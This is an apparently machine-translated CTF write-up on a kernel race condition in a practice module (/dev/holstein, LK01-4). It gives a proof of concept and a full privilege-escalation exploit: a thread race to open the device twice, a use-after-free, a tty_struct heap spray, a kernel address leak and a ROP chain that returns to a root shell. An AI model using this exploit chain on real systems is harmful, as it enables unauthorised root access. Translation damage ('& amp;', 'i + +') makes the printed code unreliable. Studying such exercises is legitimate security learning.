Achieving kernel privilege escalation through conditional competition

Race Condition Vulnerability is a security issue that may cause incorrect behavior or data corruption when multiple threads or processes execute concurrently. This kind of vulnerability usually occurs when multiple threads or processes try to access and modify shared resources (such as memory, files, network connections, etc.). Due to the uncertain execution sequence or the lack of appropriate synchronization measures, a race condition occurs and the condition race is in It also often appears in the kernel.

LK01-4

Here we take an example question as an example to introduce the use of conditional competition in the kernel.

open module

Question link: https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4

Compared with LK01-3, the open module adds lock judgment. After the open module is executed, mutex will be set to 1, so as to avoid having two file descriptors pointing to the same memory when the open module is executed for the second time.

static int module_open(struct inode *inode, struct file *file)
{
  printk(KERN_INFO "module_open called\\
");

  if (mutex) {
    printk(KERN_INFO "resource is busy");
    return -EBUSY;
  }
  mutex = 1;

  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
  if (!g_buf) {
    printk(KERN_INFO "kmalloc failed");
    return -ENOMEM;
  }

  return 0;
}

For example, when the following code is executed twice in succession in the open module, the second execution will return -1.

#include <stdio.h>
#include <fcntl.h>
int main()
{
    int fd1 = open("/dev/holstein",O_RDWR);
    printf("fd1:%d\\
",fd1);
    
    int fd2 = open("/dev/holstein",O_RDWR);
    printf("fd2:%d\\
",fd2);
    
}

Picture

image-20230921160911373

The execution process under single thread is as follows.

Picture

image-20230924124535907

However, the above situation will cause potential problems in the case of multi-threading. Since thread 1 and thread 2 will switch execution, the following situation may occur. When thread 1 executes the open module, it is in the judgment of the mutex = 1 assignment operation. Before, and after the judgment statement mutext == 1, switch to thread 2, then when thread 2 executes mutext == 1, thread 1 has not completed the assignment operation. Therefore, thread 2 will think that it is the first time to execute the open module, thereby obtaining the file descriptor pointing to g_buf. When thread 2 switches back to thread 1, due to the Thread 1 has already pointed to the judgment statement, so it will also successfully obtain the file descriptor pointing to g_buf. Therefore, there will be a situation where two pointers point to the same area, resulting in subsequent UAF Exploitation of vulnerabilities.

Picture

image-20230924125005531

POC

In order to verify the above possibility, we need to create two threads and the two threads need to continuously call the open module. We need to pay attention to the following points.

  • ? First, POC uses 3 and 4 as newly opened file descriptors. This is because 0, 1, 2 are standard streams, so newly opened files should be allocated starting from 3. But to avoid allocation starting from 3, we can use the exp provided by the author to open the temporary file to determine what the next file descriptor is.

  • ? Secondly, when the conditional competition utilization fails, we need to close the file descriptor. This is because if it is not closed, the above two thread competition will not happen, because it has passed open The module obtains the file descriptor, then mutext has been set to 1, then there will be no mutext set to 1The situation before.

  • ? Then when the file descriptor is 4, it means that the open module has been successfully executed twice through conditional competition, but it is still necessary to verify whether the file descriptor is valid. This This is because it is possible that the file descriptor obtained by thread 1 is 3, and the file descriptor obtained by thread 2 is 4, but the file descriptor obtained by thread 1 is 1 First enter the judgment of if (fd != -1 & amp; & amp; success == 0), then the file descriptor 3 will be closed. As a result, even if the open module is executed twice normally, only 4 can be used.

  • ? The last step is to verify whether 3 and 4 point to the same memory.

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {
    while(1)
    {
        while (!success)
        {
            int fd = open("/dev/holstein",O_RDWR);
            if (fd == 4)
                success = 1;
            if (fd != -1 & amp; & amp; success == 0)
                close(fd);
        }
        if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
        {
            close(3);
            close(4);
            success = 0;
        }
        else
            break;
    }
    
}

int main()
{
    pthread_t thread_id1, thread_id2;
    if (pthread_create( & amp;thread_id1, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\\
");
        return 1;
    }
    if (pthread_create( & amp;thread_id2, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\\
");
        return 1;
    }
    pthread_join(thread_id1, NULL);
    pthread_join(thread_id2, NULL);
    char temp[0x20]= {};
    write(3, "abcdefg", 7);
    read(4, temp, 7);
    if (strcmp(temp, "abcdefg"))
    {
        puts("fail\\
");
        exit(-1);
    }
    printf("sucess\\
");
}

run.sh

Here you can see that the option of -smp is 2, “-smp” means “Symmetric MultiProcessing”, that is, symmetric multi-processing. In a virtualized environment, this parameter is used to set the number of virtual processor cores used by the virtual machine. In this case, “-smp 2” means to configure the virtual machine to use 2 virtual processor cores, allowing it to run two threads or processes simultaneously. Therefore, the environment given in the question is intended to use multi-thread competition for privilege escalation.

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
    -no-reboot \
    -cpu qemu64, + smap, + smep \
    -smp 2 \
    -monitor /dev/null \
    -initrd initramfs.cpio.gz \
    -net nic,model=virtio \
    -net user \
    -s

exp

Therefore, the process of privilege escalation is to first use a conditional race vulnerability to make the open module execute twice, making the two file descriptors point to the same memory area, and then close a file descriptor to make UAF vulnerability, and the allocation size is within the scope of the tty structure, so the tty structure is controlled through heap spraying, and then tampered with ops pointer is the gadget address of the stack migration, and cooperates with the ioctl function to control the rdx registration and migrate the stack to g_buf, and then complete the privilege escalation operation through the sequence of prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode.

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>

//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;

#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0

unsigned long user_cs, user_sp, user_ss, user_rflags;



void backdoor()
{
    printf("****getshell****");
    system("id");
    system("/bin/sh");
}

void save_user_land()
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_sp, rsp;"
        "mov user_ss, ss;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved userland registers");
    printf("[#] cs: 0x%lx \\
", user_cs);
    printf("[#] ss: 0x%lx \\
", user_ss);
    printf("[#] rsp: 0x%lx \\
", user_sp);
    printf("[#] rflags: 0x%lx \\
", user_rflags);
    printf("[#] backdoor: 0x%lx \\
\\
", backdoor);
}

int success = 0;
void *thread_function(void *arg) {
    while(1)
    {
        while (!success)
        {
            int fd = open("/dev/holstein",O_RDWR);
            if (fd == 4)
                success = 1;
            if (fd != -1 & amp; & amp; success == 0)
                close(fd);
        }
        if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
        {
            close(3);
            close(4);
            success = 0;
        }
        else
            break;
    }
    
}
int main()
{
    pthread_t thread_id1, thread_id2;
    int spray[200];
    save_user_land();
    if (pthread_create( & amp;thread_id1, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\\
");
        return 1;
    }
    if (pthread_create( & amp;thread_id2, NULL, thread_function, NULL) != 0)
    {
        fprintf(stderr, "thread error\\
");
        return 1;
    }
    pthread_join(thread_id1, NULL);
    pthread_join(thread_id2, NULL);
    char temp[0x20]= {};
    write(3, "abcdefg", 7);
    read(4, temp, 7);
    printf("temp:%s\\
", temp);
    if (strcmp(temp, "abcdefg"))
    {
        puts("failure\\
");
        exit(-1);
    }
    if (!strcmp(temp,"abcdefg"))
    {
        printf("sucess\\
");
        close(4);
        for (int i = 0; i < 50; i + + )
        {
            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
            if (spray[i] == -1)
            {
                printf("error!\\
");
                exit(-1);
            }
        }
        char buf[0x400];
        read(3, buf, 0x400);
        unsigned long *p = (unsigned long *) & amp;buf;
        for (unsigned int i = 0; i < 0x80; i + + )
            printf("[%x]:addr:0x%lx\\
",i,p[i]);
        unsigned long kernel_address = p[3];
        unsigned long heap_address = p[7];
        if ((kernel_address >> 32) != 0xffffffff)
        {
            printf("leak error!\\
");
            exit(-1);
        }
        else
            printf("leak sucess\\
");
        unsigned long kernel_base = kernel_address - 0xc3afe0;
        unsigned long g_buf = heap_address - 0x38;
        printf("kernel_base:0x%lx\\
g_buf:0x%lx\\
", kernel_base, g_buf);
        //getchar();
        *(unsigned long *) & amp;buf[0x18] = g_buf;
        p[0xc] = push_rdx_pop_rsp + kernel_base;
        //for (unsigned long i = 0xd; i < 0x80; i + + )
        // p[i] = g_buf + i;
        int index = 0x21;
        p[index + + ] = pop_rdi_ret + kernel_base;
        p[index + + ] = 0;
        p[index + + ] = prepare_kernel_cred + kernel_base;
        p[index + + ] = pop_rcx_5 + kernel_base;
        p[index + + ] = 0;
        p[index + + ] = 0;
        p[index + + ] = 0;
        p[index + + ] = 0;
        p[index + + ] = 0;
        p[index + + ] = mov_rdi_rax + kernel_base;
        p[index + + ] = commit_creds + kernel_base;
        p[index + + ] = swapgs_restore + kernel_base + 22;
        p[index + + ] = 0;
        p[index + + ] = 0;
        p[index + + ] = (unsigned long)backdoor;
            p[index + + ] = user_cs;
            p[index + + ] = user_rflags;
            p[index + + ] = user_sp;
            p[index + + ] = user_ss;
        write(3, buf, 0x400);
        ioctl(4, 0, g_buf + 0x100);
    }
    return 0;
}

CPU Affinity

Here the author uses CPU Affinity to improve the success rate of conditional competition. In today's multi-core processors, we can bind different threads to different cores so that thread processes will not go back and forth. Switching operations improve execution efficiency. So corresponding to this question, we can bind thread 1 to run on CPU 0, and thread 2 to run on On CPU 1, if thread 1 and thread 2 can run in parallel, the possibility of triggering the vulnerability will be greatly increased.

First initialize the CPU set, then bind it to the specified core, and then set the CPU affinity through the sched_setaffinity function inside the thread.

#define _GNU_SOURCE
#include <sched.h>

...
    cpu_set_t t1_cpu, t2_cpu;
    CPU_ZERO( & amp;t1_cpu);
    CPU_ZERO( & amp;t2_cpu);
    CPU_SET(0, &t1_cpu);
    CPU_SET(1, &t2_cpu);
...
    if (pthread_create( & amp;thread_id1, NULL, thread_function, (void *) & amp;t1_cpu) != 0)
    {
        fprintf(stderr, "thread error\\
");
        return 1;
    }
    if (pthread_create( & amp;thread_id2, NULL, thread_function, (void *) & amp;t2_cpu) != 0)
    {
        fprintf(stderr, "thread error\\
");
        return 1;
    }

void *thread_function(void *arg) {
    cpu_set_t *cpu_set = (cpu_set_t *)arg;
    int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
    ...
} 

The knowledge points of the article match the official knowledge files, and you can further learn related knowledge. Network Skill TreeHomepageOverview 42,197 people are learning the system

syntaxbug.com © 2021 All Rights Reserved.